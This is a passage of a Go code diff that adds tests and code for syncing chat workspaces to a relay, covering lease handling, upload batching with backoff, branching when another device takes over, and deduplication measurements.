i < 5; i++ { // 50 s: longer than a lease + r.clock.Advance(directory.HeartbeatEvery) + b.beat(context.Background()) + if _, err := r.dir.For(devB).Acquire(context.Background(), cellID, directory.AcquireOpts{}); !errors.Is(err, directory.ErrLeaseHeld) { + t.Fatalf("beat %d: takeover = %v, the lease should be kept", i, err) + } + } + got := r.head(cellID) + if got.Head != h1 || got.Lease.Pending != 2 || b.Pending() != 2 { + t.Fatalf("head %s pending %d/%d", got.Head, got.Lease.Pending, b.Pending()) + } + + r.store.set(nil, nil) + b.flush(context.Background()) + if got := r.head(cellID); got.Head != h3 || b.Pending() != 0 { + t.Fatalf("the next tick did not publish: head %s, pending %d", got.Head, b.Pending()) + } +} + +func TestDirectoryDownThenFenceStale(t *testing.T) { + r := newRig(t) + b := r.batcher() + h1 := r.publishFirst(map[string]string{"a": "0"}) + var branches, by []string + b.OnSuperseded = func(s Superseded) { branches, by = append(branches, s.Branch), append(by, s.By) } + h2 := r.seal(map[string]string{"a": "1"}) + note(b, h2) + + r.dirA.set(directory.ErrUnreachable) + b.flush(context.Background()) // uploads may go through; the head cannot move + if r.head(cellID).Head != h1 { + t.Fatal("the head moved with the directory down") + } + r.takeOver() + r.bPublishes(h1) + r.dirA.set(nil) + + b.flush(context.Background()) + if len(branches) != 1 { + t.Fatalf("OnSuperseded calls: %v", branches) + } + if got := r.head(cellID); got.Head != otherHead { + t.Fatalf("the old cell's head moved to %s", got.Head) + } + if got := r.head(branches[0]); got.Head != h2 || got.ParentCell != cellID || got.OrphanTurns != 1 { + t.Fatalf("branch = %+v", got) + } +} + +func TestBatcherRidesOutRelayRestart(t *testing.T) { + r := newRig(t) + b := r.batcher() + r.publishFirst(map[string]string{"a": "0"}) + h2 := r.seal(map[string]string{"a": "1"}) + note(b, h2) + var superseded int + b.OnSuperseded = func(Superseded) { superseded++ } + + r.dirA.set(directory.ErrUnreachable) // the relay restarts + r.clock.Advance(directory.HeartbeatEvery) + b.beat(context.Background()) + if d := b.flush(context.Background()); d != 2*b.Interval { + t.Fatalf("backoff = %v", d) + } + r.dirA.set(nil) // back before the lease lapsed + r.clock.Advance(directory.HeartbeatEvery) + b.beat(context.Background()) + b.flush(context.Background()) + + got := r.head(cellID) + if got.Head != h2 || got.Lease.Fence != 1 || got.Lease.Device != devA || superseded != 0 { + t.Fatalf("cell %+v, superseded %d", got, superseded) + } +} + +func TestSkewIsSurfacedOnce(t *testing.T) { + r := newRig(t) + b := r.batcher() + var shown []error + b.OnError = func(err error) { shown = append(shown, err) } + r.publishFirst(map[string]string{"a": "0"}) + note(b, r.seal(map[string]string{"a": "1"})) + + r.dirA.set(wireauth.ErrSkew) + for i := 0; i < 3; i++ { + if d := b.flush(context.Background()); d != b.Interval { + t.Fatalf("skew was retried on the backoff: %v", d) + } + b.beat(context.Background()) + } + if len(shown) != 1 || !errors.Is(shown[0], wireauth.ErrSkew) { + t.Fatalf("OnError calls: %v", shown) + } + + r.dirA.set(nil) // a fixed clock makes the next skew news again + b.flush(context.Background()) + r.dirA.set(wireauth.ErrSkew) + note(b, r.seal(map[string]string{"a": "2"})) + b.flush(context.Background()) + if len(shown) != 2 { + t.Fatalf("OnError calls after recovery: %v", shown) + } +} + +func TestCloseFlushesAndReleases(t *testing.T) { + r := newRig(t) + b := r.batcher() + h1 := r.seal(map[string]string{"a": "1"}) + note(b, h1) + if err := b.Close(context.Background()); err != nil { + t.Fatal(err) + } + got := r.head(cellID) + if got.Head != h1 || got.Lease.Expires != 0 { + t.Fatalf("after close: %+v", got) + } + if _, err := r.dir.For(devB).Acquire(context.Background(), cellID, directory.AcquireOpts{}); err != nil { + t.Fatalf("a released lease is takeable at once: %v", err) + } +} + +func TestBatcherRunFlushesAtOnceAndBeatsOnSchedule(t *testing.T) { + r := newRig(t) + b := r.batcher() + sl := newFakeSleeper(r.clock) + b.Sleep = sl.Sleep + ctx, cancel := context.WithCancel(context.Background()) + done := make(chan error, 1) + go func() { done <- b.Run(ctx) }() + sl.settle(1) // the flush loop waits for a turn, so only the heartbeat sleeps + + h1 := r.seal(map[string]string{"a": "1"}) + note(b, h1) + eventually(t, "a lone turn to go up at once", func() bool { return headIfAny(r) == h1 }) + h2 := r.seal(map[string]string{"a": "2"}) + note(b, h2) // no window follows an upload, so the next turn goes up at once too + eventually(t, "the next turn to go up at once", func() bool { return headIfAny(r) == h2 }) + sl.settle(1) // and the flush loop is back to waiting for a turn, not for a timer + cancel() + if err := <-done; !errors.Is(err, context.Canceled) { + t.Fatalf("Run = %v", err) + } +} + +// headIfAny is the relay's head for the chat, or "" while it has no record. +func headIfAny(r *rig) string { + v, err := r.dir.For(devB).Cell(context.Background(), cellID) + if err != nil { + return "" + } + return v.Cell.Head +} + +// eventually waits up to a real second for ok, so a loop that never gets there +// fails the test instead of hanging it. +func eventually(t *testing.T, what string, ok func() bool) { + t.Helper() + for deadline := time.Now().Add(time.Second); !ok(); time.Sleep(time.Millisecond) { + if time.Now().After(deadline) { + t.Fatalf("timed out waiting for %s", what) + } + } +} + +// Coalescing comes from the upload's own duration and from nothing else: while +// one upload is in flight, nine more seals arrive, and when it ends exactly one +// more upload sends the newest of them. A burst of ten costs two uploads, and a +// seal after that goes up at once, with no window to wait out. +func TestBurstCostsTwoUploadsAndTheNextSealGoesUpAtOnce(t *testing.T) { + r := newRig(t) + b := r.batcher() + first := r.publishFirst(map[string]string{"a": "0"}) + puts := r.puts() + inFlight, release := make(chan struct{}), make(chan struct{}) + var once sync.Once + r.store.set(nil, func(context.Context) { + once.Do(func() { close(inFlight); <-release }) // only the first upload is slow + }) + ctx, cancel := context.WithCancel(context.Background()) + done := make(chan error, 1) + go func() { done <- b.Run(ctx) }() + + note(b, r.seal(map[string]string{"a": "1"})) + <-inFlight // the first upload has begun and is held + var last string + for i := 2; i <= 10; i++ { + last = r.seal(map[string]string{"a": string(rune('0' + i))}) + note(b, last) + } + close(release) + eventually(t, "the newest head to go up", func() bool { return r.head(cellID).Head == last && b.Pending() == 0 }) + if got := r.puts() - puts; got != 2 || r.head(cellID).Head == first { + t.Fatalf("a burst of ten made %d uploads, want 2", got) + } + + after := r.seal(map[string]string{"a": "z"}) + note(b, after) + eventually(t, "a seal after the burst to go up at once", func() bool { return r.head(cellID).Head == after }) + cancel() + <-done +} + +// A publish renews the lease, so a chat that has just published sends no +// heartbeat at its next tick; once it goes quiet, one heartbeat goes out per tick. +func TestOnlyAnIdleChatSendsHeartbeats(t *testing.T) { + r := newRig(t) + b := r.batcher() + sl := newFakeSleeper(r.clock) + b.Sleep = sl.Sleep + r.publishFirst(map[string]string{"a": "0"}) + ctx, cancel := context.WithCancel(context.Background()) + done := make(chan error, 1) + go func() { done <- b.Run(ctx) }() + sl.settle(1) + h := r.seal(map[string]string{"a": "1"}) + note(b, h) + eventually(t, "the publish", func() bool { return r.head(cellID).Head == h }) + sl.settle(1) // only the heartbeat sleeps + + sl.advance(directory.HeartbeatEvery) // the tick after a publish + sl.settle(1) + if got := r.dirA.beats.Load(); got != 0 { + t.Fatalf("%d heartbeats at the tick after a publish, want none", got) + } + sl.advance(directory.HeartbeatEvery) // a tick with nothing published + sl.settle(1) + if got := r.dirA.beats.Load(); got != 1 { + t.Fatalf("%d heartbeats at a quiet tick, want 1", got) + } + cancel() + <-done +} + +// Idle with nothing sealed since the last upload asks the relay for nothing. +func TestIdleWithNothingNewIsFree(t *testing.T) { + r := newRig(t) + b := r.batcher() + b.Interval = 7 * time.Second + sl := newFakeSleeper(r.clock) + b.Sleep = sl.Sleep + r.publishFirst(map[string]string{"a": "0"}) + ctx, cancel := context.WithCancel(context.Background()) + done := make(chan error, 1) + go func() { done <- b.Run(ctx) }() + sl.settle(1) + puts := r.puts() + b.Idle() + for range 10000 { // there is no event to wait for: an idle with nothing noted must simply do nothing + runtime.Gosched() + } + sl.settle(1) + if r.puts() != puts { + t.Fatalf("an idle with nothing new made %d puts", r.puts()-puts) + } + cancel() + <-done +} + +// When the relay is failing, a finished turn must not make the client retry at +// once: thousands of clients would hammer a struggling relay after every turn. +// Idle only means "flush when the backoff ends", and that flush sends it all. +func TestIdleDuringBackoffWaitsForTheBackoff(t *testing.T) { + r := newRig(t) + b := r.batcher() + b.Interval = 7 * time.Second + sl := newFakeSleeper(r.clock) + b.Sleep = sl.Sleep + r.publishFirst(map[string]string{"a": "0"}) + var attempts atomic.Int32 + r.store.set(blobstore.ErrUnreachable, func(context.Context) { attempts.Add(1) }) + ctx, cancel := context.WithCancel(context.Background()) + done := make(chan error, 1) + go func() { done <- b.Run(ctx) }() + sl.settle(1) + + note(b, r.seal(map[string]string{"a": "1"})) + b.Idle() + sl.settleOn(2 * b.Interval) // the idle flush failed once and the loop backs off + if attempts.Load() != 1 { + t.Fatalf("%d upload attempts after the first idle, want 1", attempts.Load()) + } + + h2 := r.seal(map[string]string{"a": "2"}) + note(b, h2) + b.Idle() + b.Idle() + for range 10000 { // give a wrongly woken flush loop every chance to run; there is no event to wait for + runtime.Gosched() + } + sl.advance(time.Second) + sl.settleOn(2*b.Interval - time.Second) // still the same backoff, not a new one begun by an idle retry + if attempts.Load() != 1 { + t.Fatalf("an idle during the backoff retried: %d attempts", attempts.Load()) + } + sl.advance(2*b.Interval - time.Second) // the backoff ends: one more attempt + sl.settleOn(4 * b.Interval) + if attempts.Load() != 2 { + t.Fatalf("%d upload attempts across the backoff, want 2", attempts.Load()) + } + + r.store.set(nil, nil) + sl.advance(4 * b.Interval) + eventually(t, "the newest head to be sent", func() bool { return headIfAny(r) == h2 }) + if got := r.head(cellID).Head; got != h2 || b.Pending() != 0 { + t.Fatalf("after the backoff: head %s, %d pending; want the newest head sent", got, b.Pending()) + } + cancel() + <-done +} diff --git a/internal/cellsync/branch.go b/internal/cellsync/branch.go new file mode 100644 index 0000000000..a40f7b92d7 --- /dev/null +++ b/internal/cellsync/branch.go @@ -0,0 +1,136 @@ +package cellsync + +import ( + "context" + "encoding/json" + "errors" + "github.com/Agent-Field/codeaf/internal/fsreplace" + "maps" + "os" + "path/filepath" + "sync" + + "github.com/Agent-Field/codeaf/internal/directory" +) + +// Brancher turns turns that lost their lease into a new cell (L12). Nothing is +// overwritten: the old cell keeps its head and the new one names the old as +// its parent. +type Brancher struct { + Dir directory.Client + // Publisher uploads the branch head's objects before the branch exists, so + // no caller can forget that a branch whose head nobody can fetch is worse + // than none. It is required. + Publisher *Publisher + NewID func() (string, error) // cell.NewID + // Map records old id -> new id on this device so the local chat opens as + // the branch. Nil records nothing. + Map *BranchMap +} + +// Branch uploads what head needs, creates the child cell for it, and points +// from at it. turns is how many turns the branch holds that the parent does +// not. What an earlier refused publish already uploaded is reused, because +// objects are content-addressed. +func (b Brancher) Branch(ctx context.Context, from *Driving, head string, turns uint32, in PublishInfo) (string, error) { + _, frames, err := b.Publisher.uploadPlan(ctx, from.Cell, head) + if err != nil { + return "", err + } + // The branch's own upload is the only writer of the orphan frames, and + // skipHeld never re-uploads them later, so the branch's plan must be born + // naming them: the parent's covers only the parent's closure. + plan := unionFrames(from.Frames, frames) + id, err := b.NewID() + if err != nil { + return "", err + } + _, err = b.Dir.Create(ctx, id, directory.CellInit{ + Head: head, Class: in.Class, Title: in.Title, Size: in.Size, Keys: in.Keys, + ParentCell: from.ID(), OrphanTurns: turns, Frames: plan, + }) + if err != nil { + return "", err + } + if err := b.Map.Set(from.ID(), id); err != nil { + return "", err + } + from.Remote, from.Fence, from.Head = id, 1, head + return id, nil +} + +// BranchMap is the device-local file /v3/sync/branches.json. +type BranchMap struct { + path string + mu sync.Mutex + m map[string]string +} + +type branchFile struct { + V uint16 `json:"V"` + Map map[string]string `json:"map"` +} + +// OpenBranchMap reads the map under home; a missing file is an empty map. +func OpenBranchMap(home string) (*BranchMap, error) { + m := &BranchMap{path: filepath.Join(home, "v3", "sync", "branches.json"), m: map[string]string{}} + raw, err := os.ReadFile(m.path) + if errors.Is(err, os.ErrNotExist) { + return m, nil + } + if err != nil { + return nil, err + } + var f branchFile + if err := json.Unmarshal(raw, &f); err != nil { + return nil, err + } + maps.Copy(m.m, f.Map) + return m, nil +} + +// Set records that the chat that was old is now next, and saves the file. +func (m *BranchMap) Set(old, next string) error { + if m == nil { + return nil + } + m.mu.Lock() + defer m.mu.Unlock() + m.m[old] = next + return m.save() +} + +// Resolve follows old -> new links to the newest branch; an id never branched +// resolves to itself. The walk is bounded so a damaged file cannot loop it. +func (m *BranchMap) Resolve(id string) string { + if m == nil { + return id + } + m.mu.Lock() + defer m.mu.Unlock() + for range len(m.m) { + next, ok := m.m[id] + if !ok { + break + } + id = next + } + return id +} + +// save writes the file whole and renames it into place, so a crash leaves the +// old map or the new one, never half of either. +func (m *BranchMap) save() error { + raw, err := json.Marshal(branchFile{V: 1, Map: m.m}) + if err != nil { + return err + } + if err := os.MkdirAll(filepath.Dir(m.path), 0o700); err != nil { + return err + } + tmp := m.path + ".tmp" + if err := os.WriteFile(tmp, raw, 0o600); err != nil { + return err + } + return fsreplace.Rename(tmp, m.path) +} diff --git a/internal/cellsync/branch_test.go b/internal/cellsync/branch_test.go new file mode 100644 index 0000000000..46308dc1ad --- /dev/null +++ b/internal/cellsync/branch_test.go @@ -0,0 +1,169 @@ +package cellsync + +import ( + "context" + "encoding/json" + "os" + "path/filepath" + "reflect" + "sync" + "testing" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/directory" +) + +// TestBranchCreatesChildWithParent is L12: three turns are sealed while the +// upload is blocked, another device takes over, and on return the turns become +// a child cell while the old head is untouched. +func TestBranchCreatesChildWithParent(t *testing.T) { + r := newRig(t) + b := r.batcher() + h1 := r.publishFirst(map[string]string{"a": "0"}) + var branches, by []string + b.OnSuperseded = func(s Superseded) { branches, by = append(branches, s.Branch), append(by, s.By) } + + r.store.set(blobstore.ErrUnreachable, nil) + var last string + for _, v := range []string{"1", "2", "3"} { + last = r.seal(map[string]string{"a": v}) + note(b, last) + b.flush(context.Background()) + } + if b.Pending() != 3 { + t.Fatalf("pending = %d", b.Pending()) + } + r.takeOver() + r.bPublishes(h1) + r.store.set(nil, nil) + + b.flush(context.Background()) + if len(branches) != 1 || by[0] != devB { + t.Fatalf("OnSuperseded calls: %v by %v", branches, by) + } + child := r.head(branches[0]) + if child.Head != last || child.ParentCell != cellID || child.OrphanTurns != 3 || + child.Lease.Device != devA || child.Lease.Fence != 1 { + t.Fatalf("child = %+v", child) + } + if old := r.head(cellID); old.Head != otherHead || old.Lease.Device != devB { + t.Fatalf("old cell was touched: %+v", old) + } + if b.Pending() != 0 || r.drv.ID() != branches[0] || r.drv.Cell.ID != cellID { + t.Fatalf("driving %+v pending %d", r.drv, b.Pending()) + } + if got := r.branch.Resolve(cellID); got != branches[0] { + t.Fatalf("branch map resolves the chat to %s", got) + } + + // The turns are readable from the store through the branch's head. + f, c := fetcherFor(t, r.mem) + if err := f.Fetch(context.Background(), c, child.Head); err != nil { + t.Fatalf("the branch head is not in the store: %v", err) + } + if got := readFiles(t, c.Root); !reflect.DeepEqual(got, map[string]string{"a": "3"}) { + t.Fatalf("branch files %v", got) + } +} + +func TestTakeoverDuringUploadBranches(t *testing.T) { + r := newRig(t) + b := r.batcher() + h1 := r.publishFirst(map[string]string{"a": "0"}) + var branches, by []string + b.OnSuperseded = func(s Superseded) { branches, by = append(branches, s.Branch), append(by, s.By) } + h2 := r.seal(map[string]string{"a": "1"}) + note(b, h2) + + var once sync.Once + r.store.set(nil, func(context.Context) { // B takes over while A is mid-upload + once.Do(func() { r.takeOver(); r.bPublishes(h1) }) + }) + b.flush(context.Background()) + + if len(branches) != 1 { + t.Fatalf("OnSuperseded calls: %v", branches) + } + if old := r.head(cellID); old.Head != otherHead { + t.Fatalf("B's head was disturbed: %+v", old) + } + if got := r.head(branches[0]); got.Head != h2 || got.ParentCell != cellID || got.OrphanTurns != 1 { + t.Fatalf("branch = %+v", got) + } +} + +func TestBranchMapPersists(t *testing.T) { + home := t.TempDir() + m, err := OpenBranchMap(home) + if err != nil { + t.Fatal(err) + } + if got := m.Resolve("old"); got != "old" { + t.Fatalf("an unbranched id resolved to %q", got) + } + if err := m.Set("old", "new1"); err != nil { + t.Fatal(err) + } + if err := m.Set("new1", "new2"); err != nil { + t.Fatal(err) + } + + again, err := OpenBranchMap(home) + if err != nil { + t.Fatal(err) + } + if got := again.Resolve("old"); got != "new2" { + t.Fatalf("after reopen old resolves to %q", got) + } + raw, err := os.ReadFile(filepath.Join(home, "v3", "sync", "branches.json")) + if err != nil { + t.Fatal(err) + } + var file struct { + V int + Map map[string]string + } + if err := json.Unmarshal(raw, &file); err != nil || file.V != 1 || file.Map["old"] != "new1" { + t.Fatalf("branches.json = %s (%v)", raw, err) + } +} + +func TestBranchWithoutMapStillCreates(t *testing.T) { + r := newRig(t) + h1 := r.publishFirst(map[string]string{"a": "0"}) + id, err := Brancher{Dir: r.dirA, Publisher: r.pub, NewID: r.newID}.Branch(context.Background(), r.drv, h1, 2, r.info()) + if err != nil { + t.Fatal(err) + } + if got := r.head(id); got.OrphanTurns != 2 || got.ParentCell != cellID { + t.Fatalf("branch = %+v", got) + } + if _, err := r.dir.For(devB).Acquire(context.Background(), id, directory.AcquireOpts{}); err != directory.ErrLeaseHeld { + t.Fatalf("the branch is held by A: %v", err) + } +} + +// TestBranchUploadsItsOwnHead pins ruling (a): a caller that seals a head and +// branches it without ever publishing gets a branch whose head is fetchable, +// because the Brancher uploads first. No caller can forget. +func TestBranchUploadsItsOwnHead(t *testing.T) { + r := newRig(t) + r.publishFirst(map[string]string{"a": "0"}) + kept := r.seal(map[string]string{"a": "hand edit"}) + sent := r.puts() + + id, err := Brancher{Dir: r.dirA, Publisher: r.pub, NewID: r.newID}.Branch(context.Background(), r.drv, kept, 1, r.info()) + if err != nil { + t.Fatal(err) + } + if r.puts() == sent { + t.Fatal("the branch uploaded nothing") + } + f, c := fetcherFor(t, r.mem) + if err := f.Fetch(context.Background(), c, r.head(id).Head); err != nil { + t.Fatalf("the branch head is not in the store: %v", err) + } + if got := readFiles(t, c.Root); !reflect.DeepEqual(got, map[string]string{"a": "hand edit"}) { + t.Fatalf("branch files %v", got) + } +} diff --git a/internal/cellsync/dedup_real_test.go b/internal/cellsync/dedup_real_test.go new file mode 100644 index 0000000000..9c7a214b45 --- /dev/null +++ b/internal/cellsync/dedup_real_test.go @@ -0,0 +1,262 @@ +//go:build engine + +package cellsync + +import ( + "context" + "crypto/rand" + "fmt" + "io/fs" + "os" + "path/filepath" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/furrow" +) + +// The own-fleet dedup rig: one identity (one pair of secrets) publishing from +// several chats and machines into one relay store, on the real engine. Every +// test measures what crossed the wire, because "the store dedups it" is only +// worth something if the client also never sends it. + +// machine is one computer of the identity: its own engine data root, so its own +// ledger of what it sent, and nothing else in common with the others. +type machine struct { + t *testing.T + bin string + data string + keys cellstore.SyncKeys + url string +} + +// wire is what one publish put on the wire. +type wire struct{ Puts, Has, Bytes, Objects int64 } + +func (w wire) String() string { + return fmt.Sprintf("%d bytes in %d frame puts (%d objects), %d has requests", w.Bytes, w.Puts, w.Objects, w.Has) +} + +func newIdentityKeys(t *testing.T) cellstore.SyncKeys { + t.Helper() + k := cellstore.SyncKeys{CellKey: make([]byte, 32), Dedup: make([]byte, 32)} + _, _ = rand.Read(k.CellKey) + _, _ = rand.Read(k.Dedup) + return k +} + +func newMachine(t *testing.T, keys cellstore.SyncKeys) *machine { + t.Helper() + bin, err := furrow.ResolveOwned() + if err != nil { + t.Skipf("no engine binary: %v", err) + } + return &machine{t: t, bin: bin, data: t.TempDir(), keys: keys, url: "http://relay"} +} + +func (m *machine) local() cellstore.Engine { + return cellstore.Engine{Binary: m.bin, DataRoot: m.data, Transport: cellstore.Spawn{Binary: m.bin}} +} + +func (m *machine) sync() cellstore.SyncEngine { + local := m.local() + // D1/K3: use the sealing engine's shared timeline on both platforms. + return local.Sync(m.keys, cellstore.LedgerName(m.url, "id_test")) +} + +// chat makes a new chat whose folder holds files, and seals it. +func (m *machine) chat(files map[string][]byte) (cell.Cell, string) { + m.t.Helper() + c, err := cell.CreateIn(m.t.TempDir(), cell.Options{Class: cell.Sandboxed}) + if err != nil { + m.t.Fatal(err) + } + m.write(c, files) + return c, m.seal(c) +} + +func (m *machine) write(c cell.Cell, files map[string][]byte) { + m.t.Helper() + for name, body := range files { + path := filepath.Join(c.Root, name) + if err := os.MkdirAll(filepath.Dir(path), 0o700); err != nil { + m.t.Fatal(err) + } + if err := os.WriteFile(path, body, 0o600); err != nil { + m.t.Fatal(err) + } + } + restampAll(m.t, c, preserved) +} + +// restampAll gives every file and directory of the chat one modification time, +// as cp -a keeps them: a tree records the time of each entry it holds. +func restampAll(t *testing.T, c cell.Cell, at time.Time) { + t.Helper() + err := filepath.WalkDir(c.Root, func(path string, _ fs.DirEntry, err error) error { + if err != nil { + return err + } + return os.Chtimes(path, at, at) + }) + if err != nil { + t.Fatal(err) + } +} + +func (m *machine) seal(c cell.Cell) string { + m.t.Helper() + sealed, err := m.local().Seal(context.Background(), c, cellstore.TurnInfo{}) + if err != nil { + m.t.Fatal(err) + } + return sealed.Turn.ID +} + +// publish uploads head to store and reports what crossed the wire. +func (m *machine) publish(store blobstore.Store, c cell.Cell, head string) wire { + m.t.Helper() + n := &blobstore.Counters{} + pub := &Publisher{Engine: m.sync(), Store: blobstore.Counting{Inner: store, C: n}} + if _, err := pub.Upload(context.Background(), c, head); err != nil { + m.t.Fatal(err) + } + return wire{n.Puts.Load(), n.Has.Load(), n.BytesUp.Load(), n.ObjectsUp.Load()} +} + +// tree is a stand-in for a node_modules copy: many files of a few tens of KiB. +func tree(files, size int) map[string][]byte { + out := make(map[string][]byte, files) + for i := 0; i < files; i++ { + body := make([]byte, size) + _, _ = rand.Read(body) + out[fmt.Sprintf("node_modules/pkg%03d/index.js", i)] = body + } + return out +} + +func (w wire) total() int64 { return w.Bytes } + +// maxHasRequests is the most Has requests one flush of n objects may make. +func maxHasRequests(n int64) int64 { return (n + blobstore.MaxHas - 1) / blobstore.MaxHas } + +// preserved is the modification time every file of a copy made the way cp -a +// makes it carries. A tree records each entry's time, so a copy that does not +// keep times is different content to the engine and is measured on its own. +var preserved = time.Unix(1_700_000_000, 0) + +const ( + treeFiles = 1600 + treeBytes = 32 << 10 // 1600 x 32 KiB = 50 MiB +) + +// TestOwnFleetSecondChatSendsNothingRealEngine is the same tree in a new chat of +// the same identity on the same machine. +func TestOwnFleetSecondChatSendsNothingRealEngine(t *testing.T) { + m := newMachine(t, newIdentityKeys(t)) + store := blobstore.NewMemory() + files := tree(treeFiles, treeBytes) + a, headA := m.chat(files) + first := m.publish(store, a, headA) + b, headB := m.chat(files) + second := m.publish(store, b, headB) + t.Logf("scenario 1 same machine, new chat: first %s; second %s", first, second) + assertOverheadOnly(t, first, second) +} + +// TestOwnFleetCopyWithNewTimesSendsOnlyTreesRealEngine is the same tree copied +// the way cp -r makes it, every file stamped with a new time. Each directory +// records its entries' times, so the trees are new content and are sent; the +// file data, which is where the megabytes are, must not be. +func TestOwnFleetCopyWithNewTimesSendsOnlyTreesRealEngine(t *testing.T) { + m := newMachine(t, newIdentityKeys(t)) + store := blobstore.NewMemory() + files := tree(treeFiles, treeBytes) + a, headA := m.chat(files) + first := m.publish(store, a, headA) + b, _ := m.chat(files) + restampAll(t, b, time.Now()) + second := m.publish(store, b, m.seal(b)) + t.Logf("scenario 1b copy with new file times: first %s; second %s", first, second) + if limit := first.Bytes / 20; second.Bytes > limit { + t.Errorf("a copy with new times sent %d bytes, file data must not cross again (limit %d)", second.Bytes, limit) + } +} + +// TestOwnFleetSecondMachineSendsNothingRealEngine is the same tree in a chat on +// a second computer of the identity: its ledger is empty, so only the store can +// say what is already held. +func TestOwnFleetSecondMachineSendsNothingRealEngine(t *testing.T) { + keys := newIdentityKeys(t) + one, two := newMachine(t, keys), newMachine(t, keys) + store := blobstore.NewMemory() + files := tree(treeFiles, treeBytes) + a, headA := one.chat(files) + first := one.publish(store, a, headA) + b, headB := two.chat(files) + second := two.publish(store, b, headB) + t.Logf("scenario 2 second machine, same identity: first %s; second %s", first, second) + assertOverheadOnly(t, first, second) +} + +// TestOwnFleetRenameSendsNothingRealEngine moves a directory inside one +// workspace and seals again: the content is unchanged, only trees are new. +func TestOwnFleetRenameSendsNothingRealEngine(t *testing.T) { + m := newMachine(t, newIdentityKeys(t)) + store := blobstore.NewMemory() + a, head := m.chat(tree(treeFiles, treeBytes)) + first := m.publish(store, a, head) + if err := os.Rename(filepath.Join(a.Root, "node_modules"), filepath.Join(a.Root, "vendor")); err != nil { + t.Fatal(err) + } + second := m.publish(store, a, m.seal(a)) + t.Logf("scenario 3 rename inside one workspace: first %s; second %s", first, second) + assertOverheadOnly(t, first, second) +} + +// TestOwnFleetIdenticalFilesInOneSealRealEngine seals two copies of one file +// and sees the bytes cross once. +func TestOwnFleetIdenticalFilesInOneSealRealEngine(t *testing.T) { + m := newMachine(t, newIdentityKeys(t)) + body := tree(1, 4<<20)["node_modules/pkg000/index.js"] + one, headOne := m.chat(map[string][]byte{"a/file": body}) + single := m.publish(blobstore.NewMemory(), one, headOne) + two, headTwo := m.chat(map[string][]byte{"a/file": body, "b/file": body}) + double := m.publish(blobstore.NewMemory(), two, headTwo) + t.Logf("scenario 4 identical files in one seal: one copy %s; two copies %s", single, double) + if double.Bytes > single.Bytes+askFloor { + t.Fatalf("two identical files sent %d bytes, one sent %d", double.Bytes, single.Bytes) + } +} + +// TestOwnFleetRotationSharesNothingRealEngine pins the design: a rotated +// identity has new secrets and an empty namespace, so every byte is sent again +// and no rid of the old identity can be found in the new one. +func TestOwnFleetRotationSharesNothingRealEngine(t *testing.T) { + files := tree(200, treeBytes) + old, fresh := newMachine(t, newIdentityKeys(t)), newMachine(t, newIdentityKeys(t)) + oldStore, newStore := blobstore.NewMemory(), blobstore.NewMemory() + a, headA := old.chat(files) + first := old.publish(oldStore, a, headA) + b, headB := fresh.chat(files) + second := fresh.publish(newStore, b, headB) + t.Logf("scenario 5 after rotation: old identity %s; new identity %s", first, second) + if second.Bytes < first.Bytes/2 { + t.Fatalf("a rotated identity sent only %d bytes of %d: the keys must not converge", second.Bytes, first.Bytes) + } +} + +// assertOverheadOnly is the acceptance: the second copy sends frame overhead and +// the changed trees at most, and asks the store in batches, never per object. +func assertOverheadOnly(t *testing.T, first, second wire) { + t.Helper() + if limit := first.Bytes / 100; second.Bytes > limit { + t.Errorf("second copy sent %d bytes, more than 1%% of the first (%d)", second.Bytes, first.Bytes) + } + if limit := maxHasRequests(first.Objects); second.Has > limit { + t.Errorf("second copy made %d has requests, limit %d", second.Has, limit) + } +} diff --git a/internal/cellsync/doc.go b/internal/cellsync/doc.go new file mode 100644 index 0000000000..9f0dc971a0 --- /dev/null +++ b/internal/cellsync/doc.go @@ -0,0 +1,4 @@ +// Package cellsync moves a cell between a device and the shared store and +// directory: it exports the engine's new objects, uploads them, and only then +// moves the directory head. Nothing here waits on the network from a seal. +package cellsync diff --git a/internal/cellsync/engine.go b/internal/cellsync/engine.go new file mode 100644 index 0000000000..c4289a14f5 --- /dev/null +++ b/internal/cellsync/engine.go @@ -0,0 +1,51 @@ +package cellsync + +import ( + "context" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" +) + +// Engine is the device-local half of sync: the furrow verbs of the Stage 1 +// engine contract. The real implementation is cellstore.SyncEngine; FakeEngine +// stands in for it in tests. +type Engine interface { + // Export packs every object reachable from head that the store's ledger + // lacks into frame files. + Export(ctx context.Context, c cell.Cell, head string) (Export, error) + // Published records frames as uploaded and deletes their files. + Published(ctx context.Context, c cell.Cell, frames []string) error + // Want names the remote ids needed next to complete head locally; empty + // means complete. + Want(ctx context.Context, c cell.Cell, head string) ([]string, error) + // Import stores each object file in inbox, named by its remote id. + Import(ctx context.Context, c cell.Cell, head, inbox string) (int, error) + // ImportPrimed is Import with one rule changed (contract §22.7): an inbox + // file no pass wanted is deleted, not an error. It exists for a take that + // primed its inbox with whole frames: a frame packs one publish's objects, + // and later turns may have orphaned some of them, so priming can deliver + // objects the head does not want. The want loop's answers keep the strict + // rule: what the relay names for a want is checked. + ImportPrimed(ctx context.Context, c cell.Cell, head, inbox string) (int, error) + // ImportPartial is ImportPrimed that deletes nothing and refuses nothing + // (contract §22.12): it stores what the inbox holds of what the head can + // reach so far, and leaves every other file, which may be waiting for a + // frame that has not landed. A take calls it while frames still download. + ImportPartial(ctx context.Context, c cell.Cell, head, inbox string) (int, error) + // Holds reports whether this device already holds objects of c that the + // relay holds too: its ledger for this relay is not empty. A device that + // does has most of the chat's history and wants only a delta (contract + // §22.5), so priming it with the chat's whole frame plan would download + // what it has. + Holds(c cell.Cell) bool + // Materialize restores head into the cell's folder. + Materialize(ctx context.Context, c cell.Cell, head string) error +} + +// Export and FrameFile are cellstore's own types under the seam's names: one +// definition, so cellstore.SyncEngine satisfies Engine with no adapter. +type ( + Export = cellstore.Export + FrameFile = cellstore.FrameFile +) diff --git a/internal/cellsync/fake.go b/internal/cellsync/fake.go new file mode 100644 index 0000000000..5d73ed9393 --- /dev/null +++ b/internal/cellsync/fake.go @@ -0,0 +1,532 @@ +package cellsync + +import ( + "bytes" + "context" + "crypto/sha256" + "encoding/hex" + "encoding/json" + "errors" + "fmt" + "github.com/Agent-Field/codeaf/internal/fsreplace" + "io/fs" + "maps" + "os" + "path/filepath" + "sort" + "sync" + + "github.com/Agent-Field/codeaf/internal/blobstore" + 